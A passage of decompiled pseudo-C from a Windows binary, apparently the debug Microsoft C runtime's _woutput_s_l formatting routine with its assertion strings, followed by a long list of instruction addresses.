																				 *(__ebp - 0x470) = __dl;
																				 *((char*)(__ebp - 0x46f)) = 0;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AEE0(__ebp - 0x40);
																				__ecx = __ebp - 0x40;
																				E0041AEE0(__ebp - 0x40) =  *__eax;
																				__ecx =  *(__ebp - 0x448 + 0xac);
																				__edx = __ebp - 0x470;
																				__eax = __ebp - 0x448;
																				__eax = E0043B620(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																				__eflags = __eax;
																				if(__eax < 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x24) = 1;
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		case 7:
																			L141:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L150;
																		case 8:
																			L106:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x484) = E004283F0(__ebp + 0x14);
																			__eax = E00433FA0();
																			__eflags = __eax;
																			if(__eax != 0) {
																				L116:
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0x00000020;
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					__ecx =  *(__ebp - 0x484);
																					__edx =  *(__ebp - 0x44c);
																					 *__ecx =  *(__ebp - 0x44c);
																				} else {
																					__edx =  *(__ebp - 0x484);
																					__ax =  *(__ebp - 0x44c);
																					 *( *(__ebp - 0x484)) = __ax;
																				}
																				 *(__ebp - 0x28) = 1;
																				while(1) {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				}
																			}
																			L107:
																			__ecx = 0;
																			__eflags = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x4f4) = 0;
																			} else {
																				 *(__ebp - 0x4f4) = 1;
																			}
																			__edx =  *(__ebp - 0x4f4);
																			 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																			__eflags =  *(__ebp - 0x488);
																			if( *(__ebp - 0x488) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E410();
																				__esp = __esp + 0x14;
																				__eflags = __eax - 1;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			__eflags =  *(__ebp - 0x488);
																			if( *(__ebp - 0x488) != 0) {
																				L115:
																				while(1) {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				}
																			} else {
																				L114:
																				 *((intOrPtr*)(L00422F00(__ecx))) = 0x16;
																				__eax = E00422C90(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x4cc) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AEB0(__ecx);
																				__eax =  *(__ebp - 0x4cc);
																				goto L225;
																			}
																		case 9:
																			L148:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx =  *(__ebp - 0x10);
																				__edx =  *(__ebp - 0x10) | 0x00000200;
																				__eflags = __edx;
																				 *(__ebp - 0x10) = __edx;
																			}
																			L150:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E004283F0(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E004283F0(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E004283F0(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																							 *(__ebp - 0x49c) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E004283F0(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E00428410(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00428410(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L167;
																			}
																		case 0xa:
																			goto L0;
																		case 0xb:
																			L84:
																			__eflags =  *(__ebp - 0x30) - 0xffffffff;
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x4f0) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x4f0);
																			 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E004283F0(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			__eflags =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				L98:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__ecx =  *0x440f84; // 0x404468
																					 *(__ebp - 4) = __ecx;
																				}
																				 *(__ebp - 0xc) = 1;
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x480) =  *(__ebp - 4);
																				while(1) {
																					L101:
																					__eax =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c) - 1;
																					 *(__ebp - 0x47c) = __ecx;
																					__eflags =  *(__ebp - 0x47c);
																					if( *(__ebp - 0x47c) == 0) {
																						break;
																					}
																					L102:
																					__edx =  *(__ebp - 0x480);
																					__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																					__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L103:
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				}
																				L104:
																				__edx =  *(__ebp - 0x480);
																				__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
																				__eflags = __edx;
																				 *(__ebp - 0x24) = __edx;
																				goto L105;
																			} else {
																				L88:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f80; // 0x404478
																					 *(__ebp - 4) = __eax;
																				}
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x478) = __ecx;
																				 *(__ebp - 0x24) = 0;
																				while(1) {
																					L92:
																					__eax =  *(__ebp - 0x24);
																					__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
																					if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																						break;
																					}
																					L93:
																					__ecx =  *(__ebp - 0x478);
																					__edx =  *__ecx;
																					__eflags =  *__ecx;
																					if( *__ecx == 0) {
																						break;
																					}
																					L94:
																					__ecx = __ebp - 0x40;
																					E0041AEE0(__ebp - 0x40) =  *(__ebp - 0x478);
																					__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																					__eax = E004312B0( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
																					__eflags = __eax;
																					if(__eax != 0) {
																						__edx =  *(__ebp - 0x478);
																						__edx =  *(__ebp - 0x478) + 1;
																						__eflags = __edx;
																						 *(__ebp - 0x478) = __edx;
																					}
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					__edx =  *(__ebp - 0x24);
																					__edx =  *(__ebp - 0x24) + 1;
																					__eflags = __edx;
																					 *(__ebp - 0x24) = __edx;
																				}
																				L97:
																				L105:
																				while(1) {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				}
																			}
																		case 0xc:
																			L142:
																			 *(__ebp - 8) = 0xa;
																			while(1) {
																				L150:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																				__eflags =  *(__ebp - 0x10) & 0x00008000;
																				if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																					__eflags =  *(__ebp - 0x10) & 0x00001000;
																					if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																						__eflags =  *(__ebp - 0x10) & 0x00000020;
																						if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								__eax = E004283F0(__ebp + 0x14);
																								__edx = 0;
																								__eflags = 0;
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = 0;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E004283F0(__ebp + 0x14);
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = __edx;
																							}
																						} else {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								E004283F0(__ebp + 0x14) = __ax & 0x0000ffff;
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																								 *(__ebp - 0x49c) = __edx;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E004283F0(__ebp + 0x14);
																								__ax = __eax;
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = __edx;
																							}
																						}
																					} else {
																						__eax = __ebp + 0x14;
																						 *(__ebp - 0x4a0) = E00428410(__ebp + 0x14);
																						 *(__ebp - 0x49c) = __edx;
																					}
																				} else {
																					__ecx = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E00428410(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					goto L167;
																				}
																				goto L163;
																			}
																		case 0xd:
																			L144:
																			 *(__ebp - 0x460) = 0x27;
																			L145:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx = 0x30;
																				 *(__ebp - 0x14) = __dx;
																				 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
																				__eflags =  *(__ebp - 0x460) + 0x51;
																				 *(__ebp - 0x12) = __ax;
																				 *(__ebp - 0x1c) = 2;
																			}
																			while(1) {
																				L150:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																				__eflags =  *(__ebp - 0x10) & 0x00008000;
																				if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																					__eflags =  *(__ebp - 0x10) & 0x00001000;
																					if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																						__eflags =  *(__ebp - 0x10) & 0x00000020;
																						if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								__eax = E004283F0(__ebp + 0x14);
																								__edx = 0;
																								__eflags = 0;
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = 0;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E004283F0(__ebp + 0x14);
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = __edx;
																							}
																						} else {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								E004283F0(__ebp + 0x14) = __ax & 0x0000ffff;
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																								 *(__ebp - 0x49c) = __edx;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E004283F0(__ebp + 0x14);
																								__ax = __eax;
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = __edx;
																							}
																						}
																					} else {
																						__eax = __ebp + 0x14;
																						 *(__ebp - 0x4a0) = E00428410(__ebp + 0x14);
																						 *(__ebp - 0x49c) = __edx;
																					}
																				} else {
																					__ecx = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E00428410(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					goto L167;
																				}
																				goto L163;
																			}
																		case 0xe:
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																	}
																case 8:
																	L24:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000002;
																	 *(__ebp - 0x10) = __ecx;
																	goto L27;
																case 9:
																	L25:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																	goto L27;
																case 0xa:
																	L23:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																	goto L27;
																case 0xb:
																	L22:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																	goto L27;
																case 0xc:
																	L26:
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000008;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	goto L27;
																case 0xd:
																	L27:
																	goto L214;
															}
														} else {
															_t517 = 0;
															if(0 == 0) {
																 *(_t525 - 0x4dc) = 0;
															} else {
																 *(_t525 - 0x4dc) = 1;
															}
															 *(_t525 - 0x46c) =  *(_t525 - 0x4dc);
															if( *(_t525 - 0x46c) == 0) {
																_push(L"(\"Incorrect format specifier\", 0)");
																_push(0);
																_push(0x460);
																_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																_push(2);
																_t498 = L0041E410();
																_t527 = _t527 + 0x14;
																if(_t498 == 1) {
																	asm("int3");
																}
															}
															L14:
															if( *(_t525 - 0x46c) != 0) {
																goto L16;
															} else {
																 *((intOrPtr*)(L00422F00(_t510))) = 0x16;
																E00422C90(_t501, _t510, _t523, _t524, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																 *(_t525 - 0x4c8) = 0xffffffff;
																E0041AEB0(_t525 - 0x40);
																_t483 =  *(_t525 - 0x4c8);
																L225:
																return E0042BD50(_t483, _t501,  *(_t525 - 0x48) ^ _t525, _t517, _t523, _t524);
															}
														}
													}
													L215:
													__eflags =  *(_t525 - 0x45c);
													if( *(_t525 - 0x45c) == 0) {
														L218:
														 *(_t525 - 0x4f8) = 1;
														L219:
														_t517 =  *(_t525 - 0x4f8);
														 *(_t525 - 0x4bc) =  *(_t525 - 0x4f8);
														__eflags =  *(_t525 - 0x4bc);
														if( *(_t525 - 0x4bc) == 0) {
															_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
															_push(0);
															_push(0x8f5);
															_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
															_push(2);
															_t488 = L0041E410();
															_t527 = _t527 + 0x14;
															__eflags = _t488 - 1;
															if(_t488 == 1) {
																asm("int3");
															}
														}
														__eflags =  *(_t525 - 0x4bc);
														if( *(_t525 - 0x4bc) != 0) {
															 *(_t525 - 0x4d4) =  *(_t525 - 0x44c);
															E0041AEB0(_t525 - 0x40);
															_t483 =  *(_t525 - 0x4d4);
														} else {
															 *((intOrPtr*)(L00422F00(_t502))) = 0x16;
															E00422C90(_t501, _t502, _t523, _t524, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
															 *(_t525 - 0x4d0) = 0xffffffff;
															E0041AEB0(_t525 - 0x40);
															_t483 =  *(_t525 - 0x4d0);
														}
														goto L225;
													}
													L216:
													__eflags =  *(_t525 - 0x45c) - 7;
													if( *(_t525 - 0x45c) == 7) {
														goto L218;
													}
													L217:
													 *(_t525 - 0x4f8) = 0;
													goto L219;
												}
											}
											L184:
											__eflags =  *(__ebp - 0x24);
											if( *(__ebp - 0x24) == 0) {
												L186:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												goto L187;
											}
											L185:
											__eax =  *(__ebp - 4);
											__ecx =  *( *(__ebp - 4));
											__eflags = __ecx - 0x30;
											if(__ecx == 0x30) {
												goto L187;
											}
											goto L186;
										}
										L180:
										__eax =  *(__ebp - 8);
										asm("cdq");
										__ecx =  *(__ebp - 0x4a4);
										__edx =  *(__ebp - 0x4a8);
										__eax = E00430820( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8),  *(__ebp - 0x4a8));
										 *(__ebp - 0x494) = __eax;
										__eax =  *(__ebp - 8);
										asm("cdq");
										__eax =  *(__ebp - 0x4a4);
										__ecx =  *(__ebp - 0x4a8);
										 *(__ebp - 0x4a8) = E004308A0( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8), __edx);
										 *(__ebp - 0x4a4) = __edx;
										__eflags =  *(__ebp - 0x494) - 0x39;
										if( *(__ebp - 0x494) > 0x39) {
											__edx =  *(__ebp - 0x494);
											__edx =  *(__ebp - 0x494) +  *(__ebp - 0x460);
											__eflags = __edx;
											 *(__ebp - 0x494) = __edx;
										}
										__eax =  *(__ebp - 4);
										 *( *(__ebp - 4)) =  *(__ebp - 0x494);
										 *(__ebp - 4) =  *(__ebp - 4) - 1;
										 *(__ebp - 4) =  *(__ebp - 4) - 1;
										L178:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L180;
										}
										goto L179;
									}
								}
								L165:
								__eflags =  *(__ebp - 0x4a0);
								if( *(__ebp - 0x4a0) >= 0) {
									goto L167;
								}
								goto L166;
								L167:
								__ecx =  *(__ebp - 0x4a0);
								 *(__ebp - 0x4a8) =  *(__ebp - 0x4a0);
								__edx =  *(__ebp - 0x49c);
								 *(__ebp - 0x4a4) =  *(__ebp - 0x49c);
								goto L168;
							}
						}
					}
				}
			}

0x0043c446
0x0043c446
0x0043c446
0x0043c446
0x0043c446
0x0043c446
0x0043c446
0x0043c44d
0x0043c44d
0x0043c44d
0x0043c463
0x0043c463
0x0043c463
0x0043c46d
0x0043c46d
0x0043c473
0x0043c475
0x0043c47a
0x0043c484
0x0043c484
0x0043c487
0x0043c48b
0x0043c48b
0x0043c4b2
0x0043c4b2
0x0043c4b5
0x0043c4b5
0x0043c4ba
0x0043c4dc
0x0043c4dc
0x0043c4e2
0x0043c504
0x0043c504
0x0043c507
0x0043c54e
0x0043c54e
0x0043c551
0x0043c56e
0x0043c572
0x0043c57a
0x0043c57a
0x0043c57c
0x0043c582
0x0043c553
0x0043c553
0x0043c557
0x0043c55f
0x0043c560
0x0043c566
0x0043c566
0x0043c509
0x0043c50c
0x0043c50c
0x0043c50f
0x0043c52d
0x0043c539
0x0043c53c
0x0043c53d
0x0043c543
0x0043c511
0x0043c511
0x0043c515
0x0043c51d
0x0043c51e
0x0043c51f
0x0043c525
0x0043c525
0x0043c549
0x0043c4e4
0x0043c4e4
0x0043c4f0
0x0043c4f6
0x0043c4f6
0x0043c4bc
0x0043c4bc
0x0043c4c8
0x0043c4ce
0x0043c4ce
0x0043c58b
0x0043c58b
0x0043c58e
0x00000000
0x00000000
0x0043c590
0x0043c590
0x0043c597
0x00000000
0x00000000
0x0043c599
0x0043c599
0x0043c5a4
0x0043c5aa
0x0043c5ac
0x0043c5b2
0x0043c5b5
0x0043c5b7
0x0043c5bd
0x0043c5c6
0x0043c5cb
0x0043c5e8
0x0043c5eb
0x0043c5eb
0x0043c5f0
0x0043c5f5
0x0043c5f5
0x0043c5fb
0x0043c5fd
0x0043c603
0x0043c609
0x0043c609
0x0043c612
0x0043c612
0x0043c5fb
0x0043c618
0x0043c61c
0x0043c62a
0x0043c62d
0x0043c630
0x0043c637
0x0043c639
0x0043c639
0x0043c61e
0x0043c61e
0x0043c61e
0x0043c646
0x0043c646
0x0043c64c
0x0043c64e
0x0043c64e
0x0043c655
0x0043c65b
0x0043c65e
0x0043c65e
0x0043c65e
0x0043c664
0x0043c667
0x0043c66a
0x0043c66c
0x00000000
0x00000000
0x0043c66e
0x0043c674
0x0043c674
0x0043c67a
0x0043c6f7
0x0043c6fd
0x0043c700
0x0043c703
0x0043c706
0x0043c709
0x0043c70f
0x0043c70f
0x0043c715
0x0043c740
0x0043c740
0x0043c740
0x0043c744
0x00000000
0x00000000
0x0043c74a
0x0043c74d
0x0043c74d
0x0043c750
0x0043c755
0x0043c755
0x0043c75a
0x0043c771
0x0043c771
0x0043c774
0x0043c78b
0x0043c78b
0x0043c78e
0x0043c790
0x0043c795
0x0043c799
0x0043c799
0x0043c776
0x0043c776
0x0043c77b
0x0043c77f
0x0043c77f
0x0043c75c
0x0043c75c
0x0043c761
0x0043c765
0x0043c765
0x0043c75a
0x0043c7a3
0x0043c7a6
0x0043c7a9
0x0043c7b2
0x0043c7b2
0x0043c7b5
0x0043c7b7
0x0043c7be
0x0043c7c2
0x0043c7cb
0x0043c7d0
0x0043c7d3
0x0043c7da
0x0043c7de
0x0043c7e2
0x0043c7ee
0x0043c7f1
0x0043c7f1
0x0043c7f4
0x0043c7f9
0x0043c7f9
0x0043c7fc
0x0043c7fe
0x0043c805
0x0043c809
0x0043c812
0x0043c817
0x0043c7fc
0x0043c81a
0x0043c81e
0x0043c8d8
0x0043c8d8
0x0043c8df
0x0043c8e3
0x0043c8e7
0x0043c8eb
0x00000000
0x0043c824
0x0043c824
0x0043c824
0x0043c828
0x00000000
0x00000000
0x0043c82e
0x0043c82e
0x0043c831
0x0043c837
0x0043c83a
0x0043c840
0x0043c840
0x0043c840
0x0043c84c
0x0043c84f
0x0043c855
0x0043c857
0x00000000
0x00000000
0x0043c859
0x0043c859
0x0043c85c
0x0043c862
0x0043c86a
0x0043c86c
0x0043c873
0x0043c87a
0x0043c889
0x0043c88f
0x0043c896
0x0043c8a4
0x0043c8a4
0x0043c8ab
0x0043c8b7
0x0043c8c5
0x0043c8cb
0x00000000
0x0043c8cb
0x0043c898
0x0043c898
0x00000000
0x0043c898
0x0043c8d6
0x0043c8f3
0x0043c8f3
0x0043c8fa
0x0043c8ff
0x0043c8ff
0x0043c902
0x0043c904
0x0043c90b
0x0043c918
0x0043c91d
0x0043c902
0x0043c8fa
0x0043c920
0x0043c920
0x0043c924
0x0043c928
0x0043c92c
0x0043c934
0x0043c934
0x0043c93b
0x0043c93b
0x0043babb
0x0043bac2
0x0043bacf
0x0043bad4
0x00000000
0x0043bae7
0x0043baf1
0x0043bb18
0x0043baff
0x0043bb10
0x0043bb10
0x0043baf1
0x0043bb22
0x0043bb28
0x0043bb34
0x0043bb37
0x0043bb45
0x0043bb48
0x0043bb55
0x0043bbfa
0x0043bc00
0x0043bc06
0x0043bc0d
0x00000000
0x00000000
0x0043bc13
0x0043bc19
0x00000000
0x0043bc20
0x0043bc20
0x0043bc3a
0x0043bc3f
0x00000000
0x00000000
0x0043bc47
0x0043bc47
0x0043bc4e
0x0043bc51
0x0043bc54
0x0043bc57
0x0043bc5a
0x0043bc5d
0x0043bc60
0x0043bc67
0x0043bc6e
0x00000000
0x00000000
0x0043bc7a
0x0043bc7a
0x0043bc81
0x0043bc8d
0x0043bc90
0x0043bc96
0x0043bc9d
0x00000000
0x00000000
0x0043bc9f
0x0043bca5
0x0043bca5
0x0043bcac
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bcf0
0x0043bcf0
0x0043bcf7
0x0043bcfa
0x0043bd24
0x0043bd27
0x0043bd27
0x0043bd31
0x0043bd31
0x0043bd35
0x0043bcfc
0x0043bcfc
0x0043bd08
0x0043bd0b
0x0043bd0f
0x0043bd11
0x0043bd14
0x0043bd14
0x0043bd17
0x0043bd1a
0x0043bd1d
0x0043bd1f
0x0043bd1f
0x0043bd22
0x0043bd38
0x00000000
0x00000000
0x0043bd3d
0x0043bd3d
0x00000000
0x00000000
0x0043bd49
0x0043bd49
0x0043bd50
0x0043bd53
0x0043bd73
0x0043bd76
0x0043bd76
0x0043bd80
0x0043bd80
0x0043bd84
0x0043bd55
0x0043bd55
0x0043bd61
0x0043bd64
0x0043bd68
0x0043bd6a
0x0043bd6a
0x0043bd71
0x00000000
0x00000000
0x0043bd8c
0x0043bd8c
0x0043bd93
0x0043bd9f
0x0043bda2
0x0043bda8
0x0043bdaf
0x0043bec2
0x00000000
0x0043bec2
0x0043bdb5
0x0043bdbb
0x0043bdbb
0x0043bdc2
0x00000000
0x0043bdf9
0x0043bdf9
0x0043bdfc
0x0043bdff
0x0043be02
0x0043be29
0x0043be29
0x0043be2c
0x0043be2f
0x0043be32
0x0043be56
0x0043be56
0x0043be59
0x0043be5c
0x0043be5f
0x0043be98
0x0043bea9
0x00000000
0x0043bea9
0x0043be61
0x0043be61
0x0043be64
0x0043be67
0x0043be6a
0x00000000
0x00000000
0x0043be6c
0x0043be6c
0x0043be6f
0x0043be72
0x0043be75
0x00000000
0x00000000
0x0043be77
0x0043be77
0x0043be7a
0x0043be7d
0x0043be80
0x00000000
0x00000000
0x0043be82
0x0043be82
0x0043be85
0x0043be88
0x0043be8b
0x00000000
0x00000000
0x0043be8d
0x0043be8d
0x0043be90
0x0043be93
0x0043be96
0x0043be9a
0x00000000
0x0043be9a
0x00000000
0x0043be96
0x0043be34
0x0043be34
0x0043be37
0x0043be3b
0x0043be3e
0x00000000
0x0043be40
0x0043be43
0x0043be46
0x0043be4c
0x0043be51
0x00000000
0x0043be51
0x0043be3e
0x0043be04
0x0043be04
0x0043be07
0x0043be0b
0x0043be0e
